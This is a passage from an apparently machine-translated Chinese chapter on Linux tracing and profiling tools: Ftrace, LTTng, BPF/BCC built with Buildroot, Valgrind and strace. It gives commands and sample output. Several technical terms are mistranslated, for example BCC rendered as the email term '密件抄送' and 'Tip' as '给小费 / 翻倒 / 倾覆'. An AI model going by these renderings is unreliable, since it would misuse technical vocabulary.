echo function > /sys/kernel/debug/tracing/current_tracer -# echo 1 > /sys/kernel/debug/tracing/tracing_on -# sleep 1 -# echo 0 > /sys/kernel/debug/tracing/tracing_on -``` - -在这一秒内,跟踪缓冲区将被内核调用的每个函数的详细信息填满。 跟踪缓冲区的格式为纯文本,如`Documentation/trace/ftrace.txt`中所述。 您可以从`trace`文件中读取跟踪缓冲区: - -```sh -# cat /sys/kernel/debug/tracing/trace -# tracer: function -# -# entries-in-buffer/entries-written: 40051/40051 #P:1 -# -# _-----=> irqs-off -# / _----=> need-resched -# | / _---=> hardirq/softirq -# || / _--=> preempt-depth -# ||| / delay -# TASK-PID CPU# |||| TIMESTAMP FUNCTION -# | | | |||| | | -sh-361 [000] ...1 992.990646: mutex_unlock <-rb_simple_write -sh-361 [000] ...1 992.990658: __fsnotify_parent <-vfs_write -sh-361 [000] ...1 992.990661: fsnotify <-vfs_write -sh-361 [000] ...1 992.990663: __srcu_read_lock <-fsnotify -sh-361 [000] ...1 992.990666: preempt_count_add <-__srcu_read_lock -sh-361 [000] ...2 992.990668: preempt_count_sub <-__srcu_read_lock -sh-361 [000] ...1 992.990670: __srcu_read_unlock <-fsnotify -sh-361 [000] ...1 992.990672: __sb_end_write <-vfs_write -sh-361 [000] ...1 992.990674: preempt_count_add <-__sb_end_write -[…] -``` - -您可以在短短一秒内捕获大量数据点-在本例中,捕获的数据点超过 40,000 个。 - -与分析器一样,很难理解这样的平面函数列表。 如果选择`function_graph`跟踪程序,则 Ftrace 会捕获调用图,如下所示: - -```sh -# tracer: function_graph -# -# CPU DURATION FUNCTION CALLS -# | | | | | | | - 0) + 63.167 us | } /* cpdma_ctlr_int_ctrl */ - 0) + 73.417 us | } /* cpsw_intr_disable */ - 0) | disable_irq_nosync() { - 0) | __disable_irq_nosync() { - 0) | __irq_get_desc_lock() { - 0) 0.541 us | irq_to_desc(); - 0) 0.500 us | preempt_count_add(); - 0) + 16.000 us | } - 0) | __disable_irq() { - 0) 0.500 us | irq_disable(); - 0) 8.208 us | } - 0) | __irq_put_desc_unlock() { - 0) 0.459 us | preempt_count_sub(); - 0) 8.000 us | } - 0) + 55.625 us | } - 0) + 63.375 us | } -``` - -现在您可以看到函数调用的嵌套,用大括号`{`和`}`分隔。 在终止大括号处,有一个函数所用时间的测量值,如果超过 10µs,则用加号(`+`)注释;如果超过 100µs,则用感叹号(`!`)注释。 - -您通常只对单个进程或线程引起的内核活动感兴趣, -在这种情况下,您可以通过将线程 ID 写入 -`set_ftrace_pid`来将跟踪限制到一个线程。 - -## 动态 Ftrace 和跟踪过滤器 - -启用`CONFIG_DYNAMIC_FTRACE`允许 Ftrace 在运行时修改函数跟踪站点,这有几个好处。 首先,它触发跟踪函数探测器的额外构建时处理,这允许 Ftrace 子系统在引导时定位它们并用 NOP 指令覆盖它们,从而将函数跟踪代码的开销降低到几乎为零。 然后,您可以在生产或接近生产的内核中启用 Ftrace,而不会影响性能。 - -第二个优点是,您可以有选择地启用函数跟踪站点,而不是跟踪所有内容。 将函数列表放入`available_filter_functions`中;有数万个函数。 您可以根据需要有选择地启用函数跟踪,方法是将名称从`available_filter_functions`复制到`set_ftrace_filter`,然后将名称写入`set_ftrace_notrace`来停止跟踪该函数。 您还可以使用通配符并将名称附加到列表中。 例如,假设您对`tcp`处理感兴趣: - -```sh -# cd /sys/kernel/debug/tracing -# echo "tcp*" > set_ftrace_filter -# echo function > current_tracer -# echo 1 > tracing_on -``` - -运行一些测试和,然后查看`trace`: - -```sh -# cat trace -# tracer: function -# -# entries-in-buffer/entries-written: 590/590 #P:1 -# -# _-----=> irqs-off -# / _----=> need-resched -# | / _---=> hardirq/softirq -# || / _--=> preempt-depth -# ||| / delay -# TASK-PID CPU# |||| TIMESTAMP FUNCTION -# | | | |||| | | -dropbear-375 [000] ...1 48545.022235: tcp_poll <-sock_poll -dropbear-375 [000] ...1 48545.022372: tcp_poll <-sock_poll -dropbear-375 [000] ...1 48545.022393: tcp_sendmsg <-inet_sendmsg -dropbear-375 [000] ...1 48545.022398: tcp_send_mss <-tcp_sendmsg -dropbear-375 [000] ...1 48545.022400: tcp_current_mss <-tcp_send_mss -[…] -``` - -`set_ftrace_filter`函数还可以包含命令,例如,在执行某些函数时开始和停止跟踪。 这里没有篇幅详细介绍这些细节,但是如果您想了解更多,请阅读`Documentation/trace/ftrace.txt`中的*过滤器命令*部分。 - -## 跟踪事件 - -上一节中描述的`function`和`function_graph`跟踪器只记录函数执行的时间。 跟踪事件功能还记录与调用相关的参数,使跟踪更具可读性和信息性。 例如,跟踪事件将记录请求的字节数和返回的指针,而不只是记录调用了`kmalloc`函数。 跟踪事件在`perf`和 LTTng 以及 Ftrace 中使用,但是跟踪事件子系统的开发是由 LTTng 项目推动的。 - -创建跟踪事件需要内核开发人员的努力,因为每个跟踪事件都是不同的。 它们是在源代码中使用`TRACE_EVENT`宏定义的;现在已经有一千多个了。 您可以在`/sys/kernel/debug/tracing/available_events`中看到运行时可用的事件列表。 它们被命名为`subsystem:function`,例如,`kmem:kmalloc`。 每个事件还由`tracing/events/[subsystem]/[function]`中的一个子目录表示,如下所示: - -```sh -# ls events/kmem/kmalloc -enable filter format id trigger -``` - -这些文件如下所示: - -* `enable`:将`1`写入此文件以启用事件。 -* `filter`:对于要跟踪的事件,这是一个计算结果必须为`true`的表达式。 -* `format`:这是事件和参数的格式。 -* `id`:这是一个数字标识符。 -* `trigger`:这是使用`Documentation/trace/ftrace.txt`的*过滤命令*部分中定义的语法在事件发生时执行的命令。 - -我将向您展示一个涉及`kmalloc`和`kfree`的简单示例。 事件跟踪不依赖于函数跟踪程序,因此首先选择`nop`跟踪程序: - -```sh -# echo nop > current_tracer -``` - -接下来,通过逐个启用每个事件来选择要跟踪的事件: - -```sh -# echo 1 > events/kmem/kmalloc/enable -# echo 1 > events/kmem/kfree/enable -``` - -您也可以将事件名称写入`set_event`,如下所示: - -```sh -# echo "kmem:kmalloc kmem:kfree" > set_event -``` - -现在,当您阅读跟踪时,您可以看到函数及其参数: - -```sh -# tracer: nop -# -# entries-in-buffer/entries-written: 359/359 #P:1 -# -# _-----=> irqs-off -# / _----=> need-resched -# | / _---=> hardirq/softirq -# || / _--=> preempt-depth -# ||| / delay -# TASK-PID CPU# |||| TIMESTAMP FUNCTION -# | | | |||| | | - cat-382 [000] ...1 2935.586706: kmalloc:call_site=c0554644 ptr=de515a00 - bytes_req=384 bytes_alloc=512 - gfp_flags=GFP_ATOMIC|GFP_NOWARN|GFP_NOMEMALLOC - cat-382 [000] ...1 2935.586718: kfree: call_site=c059c2d8 ptr=(null) -``` - -在`perf`中可以看到与`tracepoint`事件完全相同的跟踪事件。 - -因为不需要构建臃肿的用户空间组件,所以 Ftrace 非常适合部署到大多数嵌入式目标。 接下来,我们将看看另一个流行的事件跟踪器,它的起源早于 Ftrace。 - -# 使用 LTTng - -**Linux 跟踪工具包**(**LTT**)项目是由 Karim Yaghmour 发起的,作为跟踪内核活动的一种手段,它是 Linux 内核普遍可用的首批跟踪工具之一。 后来,Mathieu Desnoyers 采纳了这个想法,并将其重新实现为下一代跟踪工具**LTTng**。 然后,它被扩展到涵盖用户空间跟踪和内核。 项目网站位于[https://lttng.org/](https://lttng.org/),包含全面的用户手册。 - -LTTng 由三个组成部分组成: - -* 核心会话管理器 -* 作为一组内核模块实现的内核跟踪器 -* 作为库实现的用户空间跟踪器 - -除此之外,您还需要一个跟踪查看器,如**Babeltrace**([https://babeltrace.org](https://babeltrace.org))或**Eclipse Trace Compass**插件来显示并过滤主机或目标上的原始跟踪数据。 - -LTTng 需要配置了`CONFIG_TRACEPOINTS`的内核,当您选择**Kernel Hacking**|**Tracers**|**Kernel Function Tracer**时将启用该内核。 - -下面的描述指的是 LTTng 版本 2.5;其他版本可能不同。 - -## LTTNG 和 Yocto 项目 - -您需要将这些包添加到`conf/local.conf`的目标依赖项中: - -```sh -IMAGE_INSTALL_append = " lttng-tools lttng-modules lttng-ust" -``` - -如果您想在目标系统上运行 Babeltrace,还需要追加`babeltrace`包。 - -## LTTng 和 Buildroot - -您需要启用以下功能: - -* `BR2_PACKAGE_LTTNG_MODULES`在**目标包**|**调试、评测和基准测试**|**lttng-模块**菜单中 -* `BR2_PACKAGE_LTTNG_TOOLS`在**目标包**|**调试、性能分析和基准测试**|**lttng-Tools**菜单中 - -对于用户空间跟踪,请启用以下功能: - -* `BR2_PACKAGE_LTTNG_LIBUST`在**目标包**|**库**|**其他中,启用 lttng-libust**菜单 - -目标有一个名为`lttng-babletrace`的包。 Buildroot 自动构建`babeltrace`主机并将其放入`output/host/usr/bin/babeltrace`。 - -## 使用 LTTng 进行内核跟踪 - -LTTng 可以使用前面描述的一组`ftrace`事件作为潜在的跟踪点。 最初,它们被禁用。 - -LTTng 的控制接口是`lttng`命令。 您可以使用以下命令列出内核探测器: - -```sh -# lttng list --kernel -Kernel events: -------------- -writeback_nothread (loglevel: TRACE_EMERG (0)) (type: tracepoint) -writeback_queue (loglevel: TRACE_EMERG (0)) (type: tracepoint) -writeback_exec (loglevel: TRACE_EMERG (0)) (type: tracepoint) -[…] -``` - -跟踪是在会话上下文中捕获的,在本例中称为`test`: - -```sh -# lttng create test -Session test created. -Traces will be written in /home/root/lttng-traces/test-20150824-140942 -# lttng list -Available tracing sessions: -1) test (/home/root/lttng-traces/test-20150824-140942) [inactive] -``` - -现在在当前会话中启用几个事件。 您可以使用`--all`选项启用所有内核跟踪点,但请记住有关生成过多跟踪数据的警告。 让我们从两个与调度程序相关的跟踪事件开始: - -```sh -# lttng enable-event --kernel sched_switch,sched_process_fork -``` - -检查是否一切都已设置好: - -```sh -# lttng list test -Tracing session test: [inactive] - Trace path: /home/root/lttng-traces/test-20150824-140942 - Live timer interval (usec): 0 - === Domain: Kernel === - Channels: -------------- -- channel0: [enabled] - Attributes: - overwrite mode: 0 - subbufers size: 26214 - number of subbufers: 4 - switch timer interval: 0 - read timer interval: 200000 - trace file count: 0 - trace file size (bytes): 0 - output: splice() - Events: - sched_process_fork (loglevel: TRACE_EMERG (0)) (type: tracepoint) [enabled] - sched_switch (loglevel: TRACE_EMERG (0)) (type: tracepoint) [enabled] -``` - -现在开始跟踪: - -```sh -# lttng start -``` - -运行测试加载,然后停止跟踪: - -```sh -# lttng stop -``` - -会话的轨迹被写入会话目录`lttng-traces//kernel`。 - -您可以使用 Babeltrace 查看器以文本格式转储原始跟踪数据。 在本例中,我在主机上运行它: - -```sh -$ babeltrace lttng-traces/test-20150824-140942/kernel -``` - -输出过于冗长,无法显示在此页面上,因此我将把它作为练习,让您以这种方式捕获和显示跟踪。 Babeltrace 的文本输出确实有一个优点,即使用`grep`和类似命令可以很容易地搜索字符串。 - -图形跟踪查看器的一个很好的选择是 Eclipse 的**Trace Compass**插件,它现在是 C/C++开发人员捆绑包的 Eclipse IDE 的一部分。 将跟踪数据导入到 Eclipse 是一件非常麻烦的事。 简而言之,您需要遵循以下步骤: - -1. 打开**Tracking**透视图。 -2. 通过选择**文件**|**新建**|**跟踪项目**来创建新项目。 -3. 输入项目名称,然后单击**Finish**。 -4. 右击**项目浏览器**菜单中的**新建项目**选项,然后选择 - 选择**导入**。 -5. 展开**跟踪**,然后选择**跟踪导入**。 -6. 浏览到包含跟踪的目录(例如,`test-20150824-140942`),勾选框以指明需要哪些子目录(可能是**内核**),然后单击**Finish**。 -7. 展开项目,在其中展开**traces[1]**,然后在其中双击**kernel**。 - -现在,让我们放下 LTTng,一头扎进最新最棒的 Linux 事件跟踪器。 - -# 使用 BPF - -**BPF(Berkeley Packet Filter)**是 1992 年首次引入的一项技术,用于捕获、过滤和分析网络流量。 2013 年,阿列克西·斯塔奥沃托夫(Alexi Starovoitov)在丹尼尔·博克曼(Daniel Borkmann)的帮助下重写了 BPF。 他们的工作,当时的称为**eBPF**(**扩展的 BPF**),于 2014 年合并到内核中,从 Linux 3.15 开始就可以在内核中使用。 BPF 提供了沙箱执行环境,用于在 Linux 内核内运行程序。 BPF 程序是用 C 语言编写的,并且是**实时**(**JIT**)编译成本机代码。 在此之前,中间 BPF 字节码必须首先通过一系列安全检查,这样程序才不会使内核崩溃。 - -尽管 BPF 起源于网络,但现在它是在 Linux 内核中运行的通用虚拟机。 通过使在特定内核和应用事件上运行小程序变得容易,BPF 迅速成为 Linux 最强大的跟踪程序。 就像 Cgroup 为集装箱化部署所做的那样,BPF 有可能通过使用户能够完全测量生产系统来彻底改变可观测性。 Netflix 和 Facebook 在其微服务和云基础设施中广泛使用 BPF 进行性能分析和挫败**分布式拒绝服务**(**DDoS**)攻击。 - -围绕 BPF 的工具正在发展,**BPF 编译器集合**(**bcc**)和**bpftrace**成为两个最突出的前端。 Brendan Gregg 深度参与了这两个项目,并在他的书*BPF Performance Tools:Linux System and Application Observability*,*Addison-Wesley*中写了大量关于 BPF 的文章。 有如此多的可能性覆盖了如此广阔的范围,像 BPF 这样的新技术似乎势不可挡。 但是就像 Cgroup 一样,我们不需要了解 BPF 是如何工作的,就可以开始使用它。 BCC 附带了几个现成的工具和示例,我们只需从命令行运行即可。 - -## 为 BPF 配置内核 - -密件抄送需要 4.1 或更高版本的 Linux 内核。 在撰写本文时,BCC 只支持几种 64 位 CPU 架构,严重限制了 BPF 在嵌入式系统中的使用。 幸运的是,其中一个 64 位架构是`aarch64`,因此我们仍然可以在 Raspberry PI 4 上运行 BCC。让我们首先为该映像配置一个支持 BPF 的内核: - -```sh -$ cd buildroot -$ make clean -$ make raspberrypi4_64_defconfig -$ make menuconfig -``` - -BCC 使用 LLVM 编译 BPF 程序。 LLVM 是一个非常大的 C++项目,因此它需要一个包含 wchar、线程和其他特性的工具链来构建。 - -给小费 / 翻倒 / 倾覆 - -名为`ply`([https://github.com/iovisor/ply](https://github.com/iovisor/ply))的包于 2021 年 1 月 23 日合并到 Buildroot 中,应该包含在 Buildroot 的 2021.02 版 LTS 中。 `ply`是一个轻量级的 Linux 动态跟踪程序,它利用 BPF,可以将探测附加到内核中的任意点。 与 BCC 不同的是,`ply`不依赖于 LLVM,除了`libc`之外,没有其他必需的外部依赖项。 这使得移植到嵌入式 CPU 体系结构(如`arm`和`powerpc`)变得容易得多。 - -在为 BPF 配置内核之前,我们先选择一个外部工具链并修改`raspberrypi4_64_defconfig`以适应 bcc: - -1. 通过导航到**工具链**|**工具链类型**|**外部工具链**并选择该选项,启用外部工具链的使用。 -2. 退出**外部工具链**并打开**工具链**子菜单。 选择最新的 ARM AArch64 工具链作为外部工具链。 -3. 退出**工具链**页面,深入到**系统配置**|**/开发管理**。 选择**Dynamic Using devtmpfs+eudev**。 -4. 退出**/dev management**并选择**Enable root login with password**。 打开**Root Password**并在文本字段中输入非空密码。 -5. 退出**System Configuration**页面的,深入到**文件系统映像**。 将**精确大小**值增加到`2G`,这样内核源代码就有足够的空间。 -6. 退出**文件系统映像**并深入到**目标包**|**网络应用**。 选择**DropBear**包以启用对目标的`scp`和`ssh`访问。 请注意,`dropbear`不允许在没有密码的情况下访问`root``scp`和`ssh`。 -7. 退出**网络应用**并深入到**其他**目标包。 选择**haveged**包,这样程序就不会阻塞等待目标上的 - `/dev/urandom`到 I 初始化。 -8. 保存更改并退出`menuconfig`。 - -现在,用您的`menuconfig`更改覆盖`configs/raspberrypi4_64_defconfig`,并准备 Linux 内核源文件进行配置: - -```sh -$ make savedefconfig -$ make linux-configure -``` - -`make linux-configure`命令将下载并安装外部工具链,并在获取、解压和配置内核源代码之前构建一些主机工具。 在撰写本文时,来自 Buildroot 的 2020.02.9LTS 发行版的`raspberrypi4_64_defconfig`仍然指向来自 Raspberry Pi Foundation 的 GitHub 分支的自定义 4.19 内核源代码 tarball。 检查您的`raspberrypi4_64_defconfig`的内容,以确定您使用的是什么版本的内核。 一旦`make linux-configure`完成内核配置,我们就可以为 BPF 重新配置它: - -```sh -$ make linux-menuconfig -``` - -要从交互菜单中搜索特定的内核配置选项,请点击*/*并输入搜索字符串。 搜索应该返回一个有编号的匹配项列表。 输入给定数字可直接进入该配置选项。 - -至少,我们需要选择以下选项才能启用内核对 BPF 的支持: - -```sh -CONFIG_BPF=y -CONFIG_BPF_SYSCALL=y -``` - -我们还需要为密件抄送添加以下内容: - -```sh -CONFIG_NET_CLS_BPF=m -CONFIG_NET_ACT_BPF=m -CONFIG_BPF_JIT=y -``` - -Linux 内核版本 4.1 到 4.6 需要以下标志: - -```sh -CONFIG_HAVE_BPF_JIT=y -``` - -Linux 内核版本 4.7 及更高版本需要此标志: - -```sh -CONFIG_HAVE_EBPF_JIT=y -``` - -从 Linux 内核 4.7 版开始,添加以下内容,以便用户可以将 BPF 程序附加到`kprobe`、`uprobe`和 tracePoint 事件: - -```sh -CONFIG_BPF_EVENTS=y -``` - -从 Linux 内核 5.2 版开始,为内核标头添加以下内容: - -```sh -CONFIG_IKHEADERS=m -``` - -BCC 需要读取内核标头来编译 BPF 程序,因此选择 -`CONFIG_IKHEADERS`可以通过加载`kheaders.ko`模块来访问它们。 - -要运行密件抄送网络示例,我们还需要以下模块: - -```sh -CONFIG_NET_SCH_SFQ=m -CONFIG_NET_ACT_POLICE=m -CONFIG_NET_ACT_GACT=m -CONFIG_DUMMY=m -CONFIG_VXLAN=m -``` - -确保在退出`make linux-menuconfig`时保存您的更改,以便在构建启用 BPF 的内核之前将它们应用到`output/build/linux-custom/.config`。 - -## 使用 Buildroot 构建 BCC 工具包 - -现在已经具备了对 BPF 的必要内核支持,让我们将用户空间库和工具添加到我们的映像中。 在撰写本文时,Jugurtha Belkalem 和其他人一直在努力将 BCC 集成到 Buildroot 中,但他们的补丁尚未合并。 虽然 LLVM 包已经合并到 Buildroot 中,但是没有选择 BCC 编译所需的 BPF 后端的选项。 新的`bcc`和更新的`llvm`包配置文件可以在`MELP/Chapter20/`目录中找到。 要将它们复制到 Buildroot 的 2020.02.09 LTS 安装,请执行以下操作: - -```sh -$ cp -a MELP/Chapter20/buildroot/* buildroot -``` - -现在,让我们将`bcc`和`llvm`包添加到`raspberrypi4_64_defconfig`: - -```sh -$ cd buildroot -$ make menuconfig -``` - -如果您的 Buildroot 版本是 2020.02.09 LTS,并且您从`MELP/Chapter20`正确复制了`buildroot`覆盖,那么现在在**调试、评测和基准测试**下应该有一个`bcc`包可用。 要将`bcc`软件包添加到系统映像,请执行以下步骤: - -1. 导航到**目标包**|**调试、分析和基准测试**和 - 选择**BCC**。 -2. 退出**调试、分析和基准测试**,深入到**库**|**其他**。 确认**clang**、**llvm**和 LLVM 的**bpf 后端**都已选中。 -3. 退出**库**|**其他**,深入到**解释器语言和脚本编写**。 验证是否选择了**python3**,以便可以运行 BCC 附带的各种工具和示例。 -4. 退出**解释器语言和脚本**,并从**Target Packages**页面中的 BusyBox 下选择**Show Packages That Alignment of BusyBox**。 -5. 深入到**系统工具**,并验证是否选择了**tar**来提取 - 内核头。 -6. 保存更改并退出`menuconfig`。 - -再次使用您的`menuconfig`更改覆盖`configs/raspberrypi4_64_defconfig`,然后构建映像: - -```sh -$ make savedefconfig -$ make -``` - -LLVM 和 Clang 需要很长时间才能编译。 映像构建完成后,使用 Etcher 将生成的`outpimg/sdcard.img`文件写入 Micro SD 卡。 最后,将内核源代码从`output/build/linux-custom`复制到 Micro SD 卡的`root`分区上的新`/lib/modules//build`目录。 最后一步非常关键,因为 BCC 需要访问内核源代码来编译 BPF 程序。 - -将完成的 Micro SD 插入您的 Raspberry PI 4,用以太网线将其插入您的本地网络,然后打开设备电源。 使用`arp-scan`定位 Raspberry PI 4 的 IP 地址,并使用您在上一节中设置的密码以`root`的身份通过 SSH 连接到该地址。 在我的`MELP/Chapter20/buildroot`覆盖中包含的`configs/rpi4_64_bcc_defconfig`中,我使用了`temppwd`作为`root`密码。 现在,我们已经准备好获得一些体验 BPF 的第一手经验。 - -## 使用 BPF 跟踪工具 - -几乎使用 BPF 执行任何操作,包括运行密件抄送工具和示例,都需要`root`权限,这就是为什么我们启用了通过 SSH 的`root`登录。 另一个先决条件是安装`debugfs`,如下所示: - -```sh -# mount -t debugfs none /sys/kernel/debug -``` - -密件抄送工具所在的目录不在`PATH`环境中,请导航到该目录以便于执行: - -```sh -# cd /usr/share/bcc/tools -``` - -让我们从一个以直方图形式显示任务占用 CPU 时间的工具开始: - -```sh -# ./cpudist -``` - -`cpudist`显示任务在取消调度前在 CPU 上花费的时间: - -![Figure 20.5 – cpudist](img/B11566_20_005.jpg) - -图 20.5-cpudist - -如果您看到的不是直方图,而是以下错误,则说明您忘记将内核源代码复制到 microSD 卡: - -```sh -modprobe: module kheaders not found in modules.dep -Unable to find kernel headers. Try rebuilding kernel with CONFIG_IKHEADERS=m (module) or installing the kernel development package for your running kernel version. -chdir(/lib/modules/4.19.97-v8/build): No such file or directory -[…] -Exception: Failed to compile BPF module -``` - -另一个有用的系统范围工具是`llcstat`,它跟踪高速缓存引用和高速缓存未命中事件,并按 PID 和 CPU 汇总它们: - -![Figure 20.6 – llcstat](img/B11566_20_006.jpg) - -图 20.6-llcstat - -并不是所有的密件抄送工具都要求我们点击*Ctrl*+*C*才能结束。 有些(如`llcstat`)将采样周期作为命令行参数。 - -我们可以使用`funccount`等工具获取更具体的内容并放大特定的功能,该工具将模式作为命令行参数: - -![Figure 20.7 – funccount](img/B11566_20_007.jpg) - -图 20.7-功能计数 - -在本例中,我们跟踪名称中包含`tcp`后跟`send`的所有内核函数。 许多密件抄送工具也可用于跟踪用户空间中的函数。 这需要调试符号或使用**用户静态定义的跟踪点**(**USDT**)探针检测源代码。 - -嵌入式开发人员特别感兴趣的是`hardirqs`工具,它们测量内核为硬中断提供服务所花费的时间: - -![Figure 20.8 – hardirqs](img/B11566_20_008.jpg) - -图 20.8-hardirqs - -用 Python 编写您自己的通用或自定义 BCC 跟踪工具比您想象的要容易。 您可以在密件抄送附带的`/usr/share/bcc/examples/tracing`目录中找到几个可以阅读和摆弄的示例。 - -本文结束了我们对 Linux 事件跟踪工具的介绍:Ftrace、LTTng 和 BPF。 所有这些都需要至少一些内核配置才能工作。 Valgrind 提供了更多的分析工具,完全可以在舒适的用户空间中操作。 - -# 使用 Valgrind - -我在[*第 18 章*](18.html#_idTextAnchor502),*管理内存*中介绍了 Valgrind,作为使用`memcheck`工具识别内存问题的工具。 Valgrind 还有其他有用的应用评测工具。 这里我要看的两个是 Callgrind 和 Helgrind。 由于 Valgrind 通过在沙箱中运行代码来工作,因此它可以在运行时检查代码并报告某些行为,这是本地跟踪器和分析器无法做到的。 - -## 呼叫 GRIND - -**Callgrind**是一个调用图形生成分析器,它还收集有关处理器缓存命中率和分支预测的信息。 仅当您的瓶颈受 CPU 限制时,Callgrind 才有用。 如果涉及繁重的 I/O 或多个进程,则此选项没有用处。 - -Valgrind 不需要内核配置,但它确实需要调试符号。 -它在 Yocto 项目和 Buildroot -(`BR2_PACKAGE_VALGRIND`)中都是目标包。 - -您在目标上运行 Valgrind 中的 Callgrind,如下所示: - -```sh -# valgrind --tool=callgrind -``` - -这将生成一个名为`callgrind.out.`的文件,您可以将该文件复制到主机并使用`callgrind_annotate`进行分析。 - -默认情况下,将所有线程的数据一起捕获到单个文件中。 如果在捕获时添加`--separate-threads=yes`选项,则在名为`callgrind.out.-`的文件(例如,`callgrind.out.122-01`和`callgrind.out.122-02`)中将有每个线程的配置文件。 - -Callgrind 可以模拟处理器 L1/L2 缓存并报告缓存未命中。 使用`--simulate-cache=yes`选项捕获跟踪。 L2 未命中比 L1 未命中要昂贵得多,因此要注意具有高`D2mr`或`D2mw`计数的代码。 - -Callgrind 的原始输出可能是压倒性的,并且很难解开。 像**KCachegrind**([https://kcachegrind.github.io/html/Home.html](https://kcachegrind.github.io/html/Home.html))这样的可视化工具可以帮助您浏览 Callgrind 收集的堆积如山的数据。 - -## Helgrind - -**Helgrind**是一个线程错误检测器,用于检测包含 POSIX 线程的 C、C++和 Fortran 程序中的同步错误。 - -Helgrind 可以检测三类错误。 首先,它可以检测接口的错误使用。 例如,解锁已解锁的互斥体,解锁由不同线程锁定的互斥体,或者不检查某些`pthread`函数的返回值。 其次,它监视线程获取锁的顺序,以检测可能导致死锁的循环(也称为致命拥抱)。 最后,它检测数据竞争,当两个线程访问共享内存位置时,不使用适当的锁或其他同步来确保单线程访问,就可能发生数据竞争。 - -使用 Helgrind 很简单;您只需要使用以下命令: - -```sh -# valgrind --tool=helgrind -``` - -它会在发现问题和潜在问题时将其打印出来。 您可以通过添加`--log-file=`将这些消息定向到文件。 - -Callgrind 和 Helgrind 依靠 Valgrind 的虚拟化进行分析和死锁检测。 这种重量级方法减慢了程序的执行速度,增加了观察者效应的可能性。 - -有时,我们程序中的错误非常容易重现和隔离,以至于一个更简单、侵入性更小的工具就足以快速调试它们。 这个工具通常是`strace`。 - -# 使用 strace - -我从一个简单而普遍的工具`top`开始了一章,我将用另一个工具结束:**strace**。 它是一个非常简单的跟踪程序,可以捕获程序以及它的子程序(可选)发出的系统调用。 您可以使用它执行以下操作: - -* 了解程序执行哪些系统调用。 -* 查找失败的系统调用以及错误代码。 如果程序无法启动但不打印错误消息,或者消息 - 太笼统,我发现这很有用 - 。 -* 查找程序打开的文件。 -* 例如,找出正在运行的程序正在生成哪个`syscalls`,以查看它是否陷入循环。 - -网上还有更多的例子;只需搜索*个 strace 提示和技巧*即可。 每个人(T2)都有自己喜欢的故事,例如,[https://alexbilson.dev/posts/strace-debug/](https://alexbilson.dev/posts/strace-debug/)。 - -`strace`使用`ptrace(2)`函数将调用从用户空间挂接到内核。 如果您想更多地了解`ptrace`是如何工作的,手册页面非常详细,可读性出人意料。 - -获取跟踪的最简单方法是将该命令作为`strace`的参数运行,如下所示(已对清单进行了编辑以使其更清晰): - -```sh -# strace ./helloworld -execve("./helloworld", ["./helloworld"], [/* 14 vars */]) = 0 -brk(0) = 0x11000 -uname({sys="Linux", node="beaglebone", ...}) = 0 -mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb6f40000 -access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) -open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 -fstat64(3, {st_mode=S_IFREG|0644, st_size=8100, ...}) = 0 -mmap2(NULL, 8100, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb6f3e000 -close(3) = 0 -open("/lib/tls/v7l/neon/vfp/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 - ENOENT (No such file or directory) -[...] - open("/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 -read(3, - "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0$`\1\0004\0\0\0"..., - 512) = 512 -fstat64(3, {st_mode=S_IFREG|0755, st_size=1291884, ...}) = 0 -mmap2(NULL, 1328520, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, - 3, 0) = 0xb6df9000 -mprotect(0xb6f30000, 32768, PROT_NONE) = 0 -mmap2(0xb6f38000, 12288, PROT_READ|PROT_WRITE, - MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x137000) = 0xb6f38000 -mmap2(0xb6f3b000, 9608, PROT_READ|PROT_WRITE, - MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb6f3b000 -close(3) -[...] - write(1, "Hello, world!\n", 14Hello, world! - ) = 14 -exit_group(0) = ? -+++ exited with 0 +++ -``` - -大部分跟踪显示了运行时环境是如何创建的。 特别是,您可以看到库加载器如何搜索`libc.so.6`,最终在`/lib`中找到它。 最后,它开始运行程序的`main()`函数,该函数打印其消息并退出。 - -如果希望`strace`跟随原始进程创建的任何子进程或线程,请添加`-f`选项。 - -给小费 / 翻倒 / 倾覆 - -如果使用`strace`跟踪创建线程的程序,几乎可以肯定要使用`-f`选项。 更好的做法是使用`-ff`和`-o `,这样每个子进程或线程的输出都会写到一个名为`.`的单独文件中。 - -`strace`的一个常见用法是发现程序在启动时尝试打开哪些文件。 您可以限制通过`-e`选项跟踪的系统调用,并且可以使用`-o`选项将跟踪写入文件而不是`stdout`: - -```sh -# strace -e open -o ssh-strace.txt ssh localhost -``` - -这显示了在设置 -连接时打开的库和配置文件`ssh`。 - -您甚至可以使用`strace`作为基本的轮廓工具。 如果使用`-c`选项,它会累计系统调用所用的时间,并打印出如下摘要: - -```sh -# strace -c grep linux /usr/lib/* > /dev/null -% time seconds usecs/call calls errors syscall ------- ----------- ----------- --------- --------- ---------- - 78.68 0.012825 1 11098 18 read - 11.03 0.001798 1 3551 write - 10.02 0.001634 8 216 15 open - 0.26 0.000043 0 202 fstat64 - 0.00 0.000000 0 201 close - 0.00 0.000000 0 1 execve - 0.00 0.000000 0 1 1 access - 0.00 0.000000 0 3 brk - 0.00 0.000000 0 199 munmap - 0.00 0.000000 0 1 uname - 0.00 0.000000 0 5 mprotect - 0.00 0.000000 0 207 mmap2 - 0.00 0.000000 0 15 15 stat64 - 0.00 0.000000 0 1 getuid32 - 0.00 0.000000 0 1 set_tls ------- ----------- ----------- --------- --------- ----------- -100.00 0.016300 15702 49 total -``` - -`strace`是非常多才多艺的。 我们只触及了这个工具所能做的事情的皮毛。 我推荐使用 strace 下载 ing*监视您的程序,这是 Julia Evans 在[https://wizardzines.com/zines/strace/](https://wizardzines.com/zines/strace/)上提供的免费杂志。* - -# 摘要 - -没有人会抱怨 Linux 缺少分析和跟踪选项。 本章概述了一些最常见的问题。 - -当遇到性能不如您所愿的系统时,从`top`开始并尝试找出问题所在。 如果它被证明是单个应用,那么您可以使用`perf record`/`report`来分析它,记住您将不得不配置内核以启用`perf`,并且您将需要用于二进制文件和内核的调试符号。 如果问题没有很好地定位,请使用`perf`或密件抄送工具获得系统范围的视图。 - 